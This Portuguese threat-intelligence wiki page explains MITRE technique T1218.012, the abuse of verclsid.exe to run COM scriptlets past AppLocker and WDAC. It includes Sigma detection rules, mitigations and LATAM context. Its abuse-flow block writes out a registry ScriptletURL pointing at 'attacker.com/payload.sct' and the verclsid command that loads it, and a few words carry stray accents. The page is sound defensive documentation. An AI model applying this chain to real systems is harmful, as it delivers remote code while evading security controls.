# T1218.012 - Verclsid ## Descrição A subtécnica **T1218.012 - Verclsid** documenta o abuso do binário legítimo do Windows `verclsid.exe` para executar código malicioso de forma proxy, contornando controles de aplicação como AppLocker e Windows Defender Application Control (WDAC). O `verclsid.exe` - também conhecido como **Extension CLSID Verification Host** - é uma utilidade nativa do Windows responsável por verificar extensões de shell (objetos COM) antes que o Windows Explorer as carregue. Por ser um binário assinado pela Microsoft e presente em todas as versões modernas do Windows, ele se enquadra na categoria de **LOLBins** (Living Off the Land Binaries) - ferramentas legítimas do sistema operacional que adversários redirecionam para fins maliciosos. Esta técnica integra a família [[t1218-system-binary-proxy-execution|T1218 - System Binary Proxy Execution]], junto com outras como [[t1218-010-regsvr32|T1218.010 - Regsvr32]], [[t1218-011-rundll32|T1218.011 - Rundll32]] e [[t1218-005-mshta|T1218.005 - Mshta]]. A execução de payloads via `verclsid.exe` é especialmente eficaz porque: 1. O binário é assinado digitalmente pela Microsoft 2. Muitas soluções de allowlisting confiam em binários assinados por grandes vendors 3. A execução via COM objects pode carregar código remotamente (SCT scriptlets via HTTP/HTTPS) 4. O processo filho criado pelo `verclsid.exe` herda as restrições reduzidas do binário pai > **Técnica pai:** [[t1218-system-binary-proxy-execution|T1218 - System Binary Proxy Execution]] > **Tática MITRE:** Defense Evasion > **Plataformas:** Windows --- ## Como Funciona ### Mecanismo normal do verclsid.exe Em operação legítima, o Windows Explorer chama `verclsid.exe` com o seguinte padrão: ``` verclsid.exe /S /C {CLSID} ``` O binário carrega o COM object identificado pelo CLSID informado, verifica sua válidade e retorna o resultado para o Explorer. O flag `/S` suprime jánelas de diálogo ("silent mode") e `/C` específica o CLSID a verificar. ### Abuso por adversários O adversário registra um CLSID malicioso no registro do Windows ou explora um CLSID já existente, substituindo o `InprocServer32` ou `ScriptletURL` para apontar para um payload malicioso - que pode estar: - **Localmente:** DLL ou arquivo SCT no disco - **Remotamente:** COM scriptlet (`.sct`) hospedado em servidor HTTP/HTTPS controlado pelo atacante O fluxo de abuso: ``` 1. Adversário registra CLSID malicioso: HKCU\Software\Classes\CLSID\{GUID-MALICIOSO}\ScriptletURL = "http://attacker.com/payload.sct" 2. Executa via linha de comando: verclsid.exe /S /C {GUID-MALICIOSO} 3. verclsid.exe tenta verificar o COM object 4. Carrega e executa o scriptlet remoto 5. Payload executa sob o contexto do verclsid.exe (binário Microsoft assinado) ``` ### COM Scriptlets (SCT) Os scriptlets COM são arquivos XML que contêm código VBScript ou JScript executado pelo Windows Script Host. São funcionalmente idênticos aos scriptlets abusados por [[t1218-010-regsvr32|Regsvr32]] via `/i:URL scrobj.dll`. O scriptlet pode: - Baixar e executar um segundo estágio - Estabelecer [[t1071-application-layer-protocol|comúnicação C2]] via HTTP - Criar entradas de [[t1547-001-registry-run-keys|persistência no registro]] - Executar comandos via [[t1059-powershell|PowerShell]] ou [[t1059-003-windows-command-shell|cmd.exe]] --- ## Attack Flow ```mermaid graph TB A([Adversário obtém<br/>execução inicial]) --> B{Método de registro\ndo CLSID malicioso} B -->|Registro local\nHKCU/HKLM| C[Registra CLSID com<br/>ScriptletURL remoto] B -->|Hijack de CLSID\nexistente| D[Substitui InprocServer32<br/>de CLSID legítimo] C --> E[Hospeda payload SCT<br/>em servidor C2] D --> F[Coloca DLL maliciosa<br/>no caminho esperado] E --> G[Executa:<br/>verclsid.exe /S /C GUID] F --> G G --> H[verclsid.exe carrega<br/>COM object via ScriptletURL] H --> I{Tipo de payload} I -->|SCT remoto| J[Descarga de segundo estágio<br/>via HTTP/HTTPS] I -->|DLL local| K[Execução de DLL<br/>sob contexto verclsid.exe] J --> L[Processo C2 estabelecido<br/>binário pai = Microsoft assinado] K --> L L --> M([Bypass AppLocker/WDAC<br/>Defense Evasion completo]) style A fill:#d63031,color:#fff style M fill:#00b894,color:#fff style G fill:#fdcb6e,color:#000 style H fill:#e17055,color:#fff ``` --- ## Exemplos de Uso ### Hancitor (Chanitor) - Dropper via LOLBin O [[s0499-hancitor|Hancitor]] é um downloader/dropper que historicamente utilizou múltiplas técnicas de proxy execution para baixar e executar cargas secundárias (tipicamente [[s0154-cobalt-strike|Cobalt Strike]] beacons ou ransomware). Em campanhas documentadas, o Hancitor abusou de `verclsid.exe` para executar scriptlets COM remotos que faziam o download do beacon de segunda etapa, aproveitando a assinatura Microsoft do binário para bypass de soluções AV baseadas em reputação de processo pai. ### Uso em campanhas de spearphishing Em cadeias de ataque documentadas pelo MITRE e pesquisadores independentes, documentos Office maliciosos (ou atalhos `.lnk`) invocam `verclsid.exe` como parte da cadeia de execução após abertura do arquivo isca. O documento executa uma macro que cria o registro CLSID malicioso e em seguida chama `verclsid.exe /S /C {GUID}` via `Shell()` ou WMI, baixando o payload de um servidor C2 externo. ### Relação com Regsvr32 (T1218.010) Ambas as técnicas ([[t1218-010-regsvr32|T1218.010]] e T1218.012) abusam do mecanismo COM do Windows para executar scriptlets remotos. A principal diferença é o binário proxy utilizado. Grupos APT frequentemente alternam entre os dois métodos para evadir regras de detecção específicas para `regsvr32.exe`. Pesquisadores de segurança documentaram casos onde ferramentas de red team suportam ambos os métodos como opções intercambiáveis. ### Contexto LOLBins - Família T1218 A técnica se insere em um padrão mais amplo de abuso de binários do sistema: | Binário | Subtécnica | Mecanismo | |---------|-----------|-----------| | `regsvr32.exe` | [[t1218-010-regsvr32\|T1218.010]] | SCT via `/i:URL scrobj.dll` | | `verclsid.exe` | T1218.012 | SCT via CLSID `/S /C {GUID}` | | `rundll32.exe` | [[t1218-011-rundll32\|T1218.011]] | DLL entry point direto | | `mshta.exe` | [[t1218-005-mshta\|T1218.005]] | HTA files via URL | | `wscript.exe` | [[t1059-005-visual-basic\|T1059.005]] | VBScript/JScript | --- ## Detecção ### Indicadores comportamentais A detecção de T1218.012 foca em dois vetores principais: **1. Criação de processo suspeita** - `verclsid.exe` iniciado por processo incomum (Office, script host, shell de usuário) - `verclsid.exe` com argumentos `/S /C` seguido de CLSID não reconhecido - Processos filhos criados por `verclsid.exe` (indica que o COM object criou processos) **2. Atividade de rede a partir de verclsid.exe** - Conexões HTTP/HTTPS originadas de `verclsid.exe` (altamente suspeito - o binário legítimo não faz conexões de rede diretas) - Resolução DNS de domínios recém-registrados por `verclsid.exe` ### Eventos Windows relevantes | Event ID | Provedor | Descrição | |----------|---------|-----------| | **1** | Sysmon | ProcessCreaté - `verclsid.exe` com `/S /C {GUID}` | | **3** | Sysmon | NetworkConnect - conexão de rede por `verclsid.exe` | | **7** | Sysmon | ImageLoad - DLL carregada por `verclsid.exe` | | **12/13** | Sysmon | RegistryEvent - criação de CLSID em `HKCU\Software\Classes\CLSID\` | | **4688** | Security | Process creation - argumento de linha de comando com CLSID | ### Regra Sigma ```yaml title: Suspicious verclsid.exe Execution - COM Object Proxy id: 7f8a2c41-3b5e-4d9f-a234-8c1e5b7d2e89 status: experimental description: > Detecta abuso de verclsid.exe para proxy execution de COM objects maliciosos, incluindo carregamento de scriptlets remotos - T1218.012. references: - https://attack.mitre.org/techniques/T1218/012/ - https://lolbas-project.github.io/lolbas/Binaries/Verclsid/ author: RunkIntel daté: 2026-03-25 tags: - attack.defense_evasion - attack.t1218.012 - attack.execution logsource: category: process_creation product: windows detection: selection_verclsid: Image|endswith: '\verclsid.exe' CommandLine|contains: - '/S' - '/C' filter_legit_parent: # Parents legítimos do verclsid.exe ParentImage|endswith: - '\explorer.exe' - '\svchost.exe' condition: selection_verclsid and not filter_legit_parent fields: - Image - CommandLine - ParentImage - ParentCommandLine - User falsepositives: - Administradores testando extensões de shell - Ferramentas de diagnóstico COM legítimas level: high --- title: verclsid.exe Network Connection id: 2a9b4d71-5c8f-4e2a-b567-9d3e7f1c4b28 status: experimental description: > Detecta conexões de rede originadas de verclsid.exe - indicativo de carregamento de scriptlet remoto (T1218.012). tags: - attack.defense_evasion - attack.t1218.012 logsource: category: network_connection product: windows detection: selection: Image|endswith: '\verclsid.exe' Initiated: 'true' condition: selection level: critical ``` --- ## Mitigação | ID | Mitigação | Ação Recomendada | |----|-----------|-----------------| | [[m1038-execution-prevention\|M1038]] | Execution Prevention | Configurar AppLocker ou WDAC para bloquear execução de `verclsid.exe` por processos não autorizados. Criar regra de publisher para permitir apenas quando iniciado pelo Explorer ou serviços do sistema. | | [[m1037-filter-network-traffic\|M1037]] | Filter Network Traffic | Bloquear conexões HTTP/HTTPS originadas de `verclsid.exe` no firewall de endpoint. O binário legítimo não necessita acesso à internet diretamente. | | [[m1042-disable-or-remove-feature-or-program\|M1042]] | Disable or Remove Feature or Program | Em ambientes onde extensões de shell não são utilizadas por usuários comuns, considerar renomear ou remover as permissões de execução do `verclsid.exe` via GPO. Avaliar impacto no Explorer antes de implementar. | | - | Monitorar registro CLSID | Alertar sobre criação de novas chaves em `HKCU\Software\Classes\CLSID\` por usuários não administrativos - especialmente com `ScriptletURL` ou `InprocServer32` apontando para caminhos incomuns. | | - | Restrição de CLSIDs via GPO | Usar Group Policy para restringir quais CLSIDs podem ser carregados pelo `verclsid.exe` em ambientes corporativos. | --- ## Contexto Brasil/LATAM **1. Prevalência de Office sem macro bloqueado** Muitas organizações brasileiras ainda operam com configurações de macro permissivas em documentos Office - um cenário ideal para ataques que usam macros para disparar `verclsid.exe`. A combinação phishing + documento malicioso + verclsid proxy é uma cadeia de ataque documentada e relativamente simples de executar em ambientes com controles de segurança básicos. **2. Uso em ataques a setores financeiro e governo** Campanhas direcionadas ao setor financeiro brasileiro documentadas por pesquisadores da [[_sectors|região LATAM]] frequentemente utilizam LOLBins para evadir soluções EDR corporativas. A preferência por binários assinados Microsoft reflete o conhecimento dos atacantes sobre o ambiente de segurança local - muitas organizações usam soluções AV tradicionais que confiam em assinaturas de fabricante. **3. Red teams e avaliações de segurança** Times de red team brasileiros e ferramentas como o módulo de proxy execution do [[s0154-cobalt-strike|Cobalt Strike]] e do [[metasploit|Metasploit]] suportam `verclsid.exe` como vetor. Conhecer esta técnica é essencial para analistas SOC e times de blue team que respondem a incidentes ou avaliam coberturas de detecção. **Recomendação para SOCs brasileiros:** Priorizar regras de detecção para `verclsid.exe` com parents incomuns (Office, wscript, cscript) e qualquer conexão de rede iniciada por este processo. Implementar bloqueio de CLSIDs não autorizados via Group Policy em ambientes que não dependem de extensões de shell customizadas. --- ## Referências - [MITRE ATT&CK - T1218.012](https://attack.mitre.org/techniques/T1218/012/) - [LOLBAS Project - verclsid.exe](https://lolbas-project.github.io/lolbas/Binaries/Verclsid/) - [Microsoft Docs - Shell Extensions](https://docs.microsoft.com/en-us/windows/win32/shell/shell-exts) - [Hancitor Analysis - Any.run](https://any.run/malware-trends/hancitor) - [Living Off the Land Binaries - LOLBAS](https://github.com/LOLBAS-Project/LOLBAS) ## Software Associado - [[s0499-hancitor|Hancitor]] (malware) - [[s0154-cobalt-strike|Cobalt Strike]] (framework C2) ## Técnicas Relacionadas - [[t1218-system-binary-proxy-execution|T1218 - System Binary Proxy Execution]] (técnica pai) - [[t1218-010-regsvr32|T1218.010 - Regsvr32]] (técnica análoga - mesmo mecanismo SCT) - [[t1218-011-rundll32|T1218.011 - Rundll32]] (família LOLBin) - [[t1218-005-mshta|T1218.005 - Mshta]] (família LOLBin) - [[t1059-007-javascript|T1059.007 - JavaScript]] (linguagem dos scriptlets SCT) - [[t1547-001-registry-run-keys|T1547.001 - Registry Run Keys]] (persistência frequentemente combinada) --- *Fonte: [MITRE ATT&CK - T1218.012](https://attack.mitre.org/techniques/T1218/012)*